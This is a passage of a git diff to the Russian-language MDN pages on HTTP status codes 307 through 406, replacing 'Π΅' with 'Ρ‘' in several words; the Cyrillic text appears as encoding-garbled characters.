+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ ΠΈ Ρ‚Π΅Π»ΠΎ исходного запроса ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для выполнСния ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠ³ΠΎ запроса. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½ Π½Π° {{HTTPMethod("GET")}}, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{HTTPStatus("303", "303 See Other")}}. Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΄Π°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° ΠΌΠ΅Ρ‚ΠΎΠ΄ {{HTTPMethod("PUT")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ являСтся Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΌ рСсурсом, Π° являСтся ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π°ΡŽΡ‰ΠΈΠΌ сообщСниСм (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Β«Π’Ρ‹ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΠ»ΠΈ XYZΒ»).</p>
<p>ЕдинствСнноС Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠ΅ ΠΌΠ΅ΠΆΠ΄Ρƒ <code>307</code> ΠΈ {{HTTPStatus("302")}} состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ <code>307</code> Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΈ Ρ‚Π΅Π»ΠΎ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Ρ‹ ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠ³ΠΎ запроса. Π’ случаС с ΠΊΠΎΠ΄ΠΎΠΌ <code>302</code> Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ старыС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρ‹ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ мСняли ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½Π° {{HTTPMethod("GET")}}, ΠΈΠ·-Π·Π° Ρ‡Π΅Π³ΠΎ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ запросов с ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΌ ΠΎΡ‚ <code>GET</code> ΠΈ ΠΎΡ‚Π²Π΅Ρ‚Π° с ΠΊΠΎΠ΄ΠΎΠΌ <code>302</code> нСпрСдсказуСмо, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² случаС ΠΎΡ‚Π²Π΅Ρ‚Π° с ΠΊΠΎΠ΄ΠΎΠΌ <code>307</code> прСдсказуСмо. Для запросов <code>GET</code> ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ‡Π½ΠΎ.</p>
diff --git a/files/ru/web/http/status/308/index.html b/files/ru/web/http/status/308/index.html
index 6416f1cf9c..be80d3e6c4 100644
--- a/files/ru/web/http/status/308/index.html
+++ b/files/ru/web/http/status/308/index.html
@@ -5,9 +5,9 @@ translation_of: Web/HTTP/Status/308
---
<div>{{HTTPSidebar}}</div>
-<p>Код ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° статус пСрСнаправлСния "HTTPΒ <code><strong>308</strong></code><strong><code>Β Permanent Redirect"</code></strong> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹ΠΉ рСсурс Π±Ρ‹Π» ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ Π² URL-адрСс, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π² {{HTTPHeader("Location")}}. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ пСрСнаправляСтся Π½Π° эту страницу, Π° поисковыС систСмы ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚ свои ссылки Π½Π° рСсурс (Π² SEO-speak говорится, Ρ‡Ρ‚ΠΎ link-juice отправляСтся Π½Π° Π½ΠΎΠ²Ρ‹ΠΉ URL-адрСс).</p>
+<p>Код ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° статус пСрСнаправлСния "HTTPΒ <code><strong>308</strong></code><strong><code>Β Permanent Redirect"</code></strong> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹ΠΉ рСсурс Π±Ρ‹Π» ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Ρ‘Π½ Π² URL-адрСс, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π² {{HTTPHeader("Location")}}. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ пСрСнаправляСтся Π½Π° эту страницу, Π° поисковыС систСмы ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚ свои ссылки Π½Π° рСсурс (Π² SEO-speak говорится, Ρ‡Ρ‚ΠΎ link-juice отправляСтся Π½Π° Π½ΠΎΠ²Ρ‹ΠΉ URL-адрСс).</p>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ запроса ΠΈ Ρ‚Π΅Π»ΠΎ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Ρ‹, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ {{HTTPStatus("301")}}Β  ΠΈΠ½ΠΎΠ³Π΄Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π·Π°ΠΌΠ΅Π½Π΅Π½ Π½Π° {{HTTPHeader("GET")}} ΠΌΠ΅Ρ‚ΠΎΠ΄.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ запроса ΠΈ Ρ‚Π΅Π»ΠΎ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Ρ‹, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ {{HTTPStatus("301")}}Β  ΠΈΠ½ΠΎΠ³Π΄Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π·Π°ΠΌΠ΅Π½Ρ‘Π½ Π½Π° {{HTTPHeader("GET")}} ΠΌΠ΅Ρ‚ΠΎΠ΄.</p>
<div class="note">
<p>НСкоторыС Π²Π΅Π±-прилоТСния ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <strong>308 Permanent Redirect</strong> нСстандартным ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΈ для Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ†Π΅Π»Π΅ΠΉ. НапримСр, Google Drive ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΎΡ‚Π²Π΅Ρ‚ <strong>308 Resume Incomplete</strong>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ, ΠΊΠΎΠ³Π΄Π° нСполная Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Π·Π°ΡΡ‚ΠΎΠΏΠΎΡ€ΠΈΠ»Π°ΡΡŒ.<a href="https://developers.google.com/drive/v3/web/manage-uploads#resumable">[1]</a></p>
diff --git a/files/ru/web/http/status/401/index.html b/files/ru/web/http/status/401/index.html
index e093e7d774..021606e74a 100644
--- a/files/ru/web/http/status/401/index.html
+++ b/files/ru/web/http/status/401/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/401
---
<div>{{HTTPSidebar}}</div>
-<p>Код ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° статус ошибки Β HTTP <code>401 Unauthorized </code>ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°Β ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ запрос Π½Π΅ Π±Ρ‹Π» ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π΅ΠΌΡƒ Π½Π΅ Ρ…Π²Π°Ρ‚Π°Π΅Ρ‚ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… для Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ рСсурса.</p>
+<p>Код ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° статус ошибки Β HTTP <code>401 Unauthorized </code>ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°Β ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ запрос Π½Π΅ Π±Ρ‹Π» ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π΅ΠΌΡƒ Π½Π΅ Ρ…Π²Π°Ρ‚Π°Π΅Ρ‚ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… для Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ рСсурса.</p>
<p>Π­Ρ‚ΠΎΡ‚ статус отправляСтся с Β {{HTTPHeader("WWW-Authenticate")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ.</p>
diff --git a/files/ru/web/http/status/402/index.html b/files/ru/web/http/status/402/index.html
index 93b58f1dd6..09007391c1 100644
--- a/files/ru/web/http/status/402/index.html
+++ b/files/ru/web/http/status/402/index.html
@@ -7,7 +7,7 @@ translation_of: Web/HTTP/Status/402
<p>HTTP-ΠΎΡ‚Π²Π΅Ρ‚Β <strong><code>402 Payment Required</code></strong> это Π½Π΅ΡΡ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½Π°ΡΒ ΠΎΡˆΠΈΠ±ΠΊΠ° ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°, зарСзСрвированная для использования Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ.</p>
-<p>Иногда этот ΠΊΠΎΠ΄ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ запрос Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° ΠΊΠ»ΠΈΠ΅Π½Ρ‚ Π½Π΅ ΡΠΎΠ²Π΅Ρ€ΡˆΠΈΡ‚ ΠΎΠΏΠ»Π°Ρ‚Ρƒ.Β Π˜Π·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ создан для Π°ΠΊΡ‚ΠΈΠ²Π°Ρ†ΠΈΠΈ Ρ†ΠΈΡ„Ρ€ΠΎΠ²Ρ‹Ρ… срСдств ΠΈΠ»ΠΈ (ΠΌΠΈΠΊΡ€ΠΎ) ΠΏΠ»Π°Ρ‚Π΅ΠΆΠ½Ρ‹Ρ… систСм ΠΈ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ нСдоступСн ΠΏΠΎΠΊΠ° ΠΊΠ»ΠΈΠ΅Π½Ρ‚ Π½Π΅ ΡΠΎΠ²Π΅Ρ€ΡˆΠΈΡ‚ ΠΎΠΏΠ»Π°Ρ‚Ρƒ. Π’Π°ΠΊ ΠΈΠ»ΠΈ ΠΈΠ½Π°Ρ‡Π΅, стандартизованного использования для ΠΊΠΎΠ΄Π° Π½Π΅Ρ‚, ΠΈ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ элСмСнтами в Ρ€Π°Π·Π½ΠΎΠΌ контСкстС.</p>
+<p>Иногда этот ΠΊΠΎΠ΄ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ запрос Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° ΠΊΠ»ΠΈΠ΅Π½Ρ‚ Π½Π΅ ΡΠΎΠ²Π΅Ρ€ΡˆΠΈΡ‚ ΠΎΠΏΠ»Π°Ρ‚Ρƒ.Β Π˜Π·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ создан для Π°ΠΊΡ‚ΠΈΠ²Π°Ρ†ΠΈΠΈ Ρ†ΠΈΡ„Ρ€ΠΎΠ²Ρ‹Ρ… срСдств ΠΈΠ»ΠΈ (ΠΌΠΈΠΊΡ€ΠΎ) ΠΏΠ»Π°Ρ‚Ρ‘ΠΆΠ½Ρ‹Ρ… систСм ΠΈ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ нСдоступСн ΠΏΠΎΠΊΠ° ΠΊΠ»ΠΈΠ΅Π½Ρ‚ Π½Π΅ ΡΠΎΠ²Π΅Ρ€ΡˆΠΈΡ‚ ΠΎΠΏΠ»Π°Ρ‚Ρƒ. Π’Π°ΠΊ ΠΈΠ»ΠΈ ΠΈΠ½Π°Ρ‡Π΅, стандартизованного использования для ΠΊΠΎΠ΄Π° Π½Π΅Ρ‚, ΠΈ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ элСмСнтами в Ρ€Π°Π·Π½ΠΎΠΌ контСкстС.</p>
<h2 id="Бтатус">Бтатус</h2>
diff --git a/files/ru/web/http/status/403/index.html b/files/ru/web/http/status/403/index.html
index 42f95f5f95..459b45c551 100644
--- a/files/ru/web/http/status/403/index.html
+++ b/files/ru/web/http/status/403/index.html
@@ -7,7 +7,7 @@ translation_of: Web/HTTP/Status/403
<p>Код ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° статус ошибки "HTTP 403 Forbidden" ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ сСрвСр понял запрос, Π½ΠΎ отказываСтся Π΅Π³ΠΎ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ.</p>
-<p>Π­Ρ‚ΠΎΡ‚ статус ΠΏΠΎΡ…ΠΎΠΆ Π½Π° {{HTTPStatus("401")}}, Π½ΠΎ Π² этом случаС повторная аутСнтификация Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ значСния. Доступ Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½ ΠΈ привязан ΠΊ Π»ΠΎΠ³ΠΈΠΊΠ΅ прилоТСния (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π½Π΅ Ρ…Π²Π°Ρ‚Π°Π΅Ρ‚ ΠΏΡ€Π°Π² доступа ΠΊ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠΌΡƒ рСсурсу).</p>
+<p>Π­Ρ‚ΠΎΡ‚ статус ΠΏΠΎΡ…ΠΎΠΆ Π½Π° {{HTTPStatus("401")}}, Π½ΠΎ Π² этом случаС повторная аутСнтификация Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ значСния. Доступ Π·Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½ ΠΈ привязан ΠΊ Π»ΠΎΠ³ΠΈΠΊΠ΅ прилоТСния (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π½Π΅ Ρ…Π²Π°Ρ‚Π°Π΅Ρ‚ ΠΏΡ€Π°Π² доступа ΠΊ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠΌΡƒ рСсурсу).</p>
<h2 id="Бтатус">Бтатус</h2>
diff --git a/files/ru/web/http/status/405/index.html b/files/ru/web/http/status/405/index.html
index afea810f1b..8259e60b6d 100644
--- a/files/ru/web/http/status/405/index.html
+++ b/files/ru/web/http/status/405/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/405
---
<div>{{HTTPSidebar}}</div>
-<p>Код состояния ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° HTTP Β <code><strong>405</strong></code><strong><code>Β Method Not Allowed</code></strong>, ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄ запроса извСстСн сСрвСру, Π½ΠΎ Π±Ρ‹Π» ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΈ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован. Π”Π²Π° ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{HTTPMethod("GET")}} ΠΈ {{HTTPMethod("HEAD")}} Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ этот ΠΊΠΎΠ΄ ошибки.</p>
+<p>Код состояния ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° HTTP Β <code><strong>405</strong></code><strong><code>Β Method Not Allowed</code></strong>, ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄ запроса извСстСн сСрвСру, Π½ΠΎ Π±Ρ‹Π» ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΈ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован. Π”Π²Π° ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{HTTPMethod("GET")}} ΠΈ {{HTTPMethod("HEAD")}} Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ этот ΠΊΠΎΠ΄ ошибки.</p>
<p>Π‘Π΅Ρ€Π²Π΅Ρ€ ΠžΠ‘Π―Π—ΠΠ ΡΠ³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° <code><strong>Allow</strong></code> Π² ΠΎΡ‚Π²Π΅Ρ‚Π΅ с ΠΊΠΎΠ΄ΠΎΠΌ 405, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ содСрТит список Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΡ… доступных ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² рСсурса.</p>
diff --git a/files/ru/web/http/status/406/index.html b/files/ru/web/http/status/406/index.html
index 1e61d4a6f7..6a402c4529 100644
--- a/files/ru/web/http/status/406/index.html
+++ b/files/ru/web/http/status/406/index.html
@@ -8,7 +8,7 @@ translation_of: Web/HTTP/Status/406
---
<div>{{HTTPSidebar}}</div>
-<p>HyperText Transfer Protocol (HTTP)Β ΠΊΠΎΠ΄ ошибки ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°Β <code><strong>406</strong></code><strong><code>Β Not Acceptable</code></strong> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ сСрвСр Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ списку допустимых Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ…Β Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°Ρ… ΡƒΠΏΡ€Π΅ΠΆΠ΄Π°ΡŽΡ‰Π΅Π³ΠΎΒ <a href="/ru/docs/Web/HTTP/Content_negotiation">согласования ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</a>,Β ΠΈ Ρ‡Ρ‚ΠΎ сСрвСр Π½Π΅ ΠΆΠ΅Π»Π°Π΅Ρ‚ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ прСдставлСниС ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</p>
+<p>HyperText Transfer Protocol (HTTP)Β ΠΊΠΎΠ΄ ошибки ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°Β <code><strong>406</strong></code><strong><code>Β Not Acceptable</code></strong> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ сСрвСр Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ списку допустимых Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ…Β Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°Ρ… ΡƒΠΏΡ€Π΅ΠΆΠ΄Π°ΡŽΡ‰Π΅Π³ΠΎΒ <a href="/ru/docs/Web/HTTP/Content_negotiation">согласования ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</a>,Β ΠΈ Ρ‡Ρ‚ΠΎ сСрвСр Π½Π΅ ΠΆΠ΅Π»Π°Π΅Ρ‚ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ прСдставлСниС ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</p>
<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ ΡƒΠΏΡ€Π΅ΠΆΠ΄Π°ΡŽΡ‰Π΅Π³ΠΎ согласования ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚:</p>
@@ -19,7 +19,7 @@ translation_of: Web/HTTP/Status/406
<li>{{HTTPHeader("Accept-Language")}}</li>
</ul>
-<p>На практикС эта ошибка ΠΎΡ‡Π΅Π½ΡŒ Ρ€Π΅Π΄ΠΊΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ. ВмСсто ΠΎΡ‚Π²Π΅Ρ‚Π° с использованиСм этого ΠΊΠΎΠ΄Π° ошибки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π³Π°Π΄ΠΎΡ‡Π½Ρ‹ΠΌ для ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ Ρ‚Ρ€ΡƒΠ΄Π½Ρ‹ΠΌ для исправлСния, сСрвСры ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΡƒΡŽ страницу для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎ Π΄Π°ΠΆΠ΅ Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΡƒΠ΄ΠΎΠ²Π»Π΅Ρ‚Π²ΠΎΡ€Ρ‘Π½, ΠΎΠ½ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Π΅Ρ‚ это ΠΊΠΎΠ΄Ρƒ ошибки.</p>
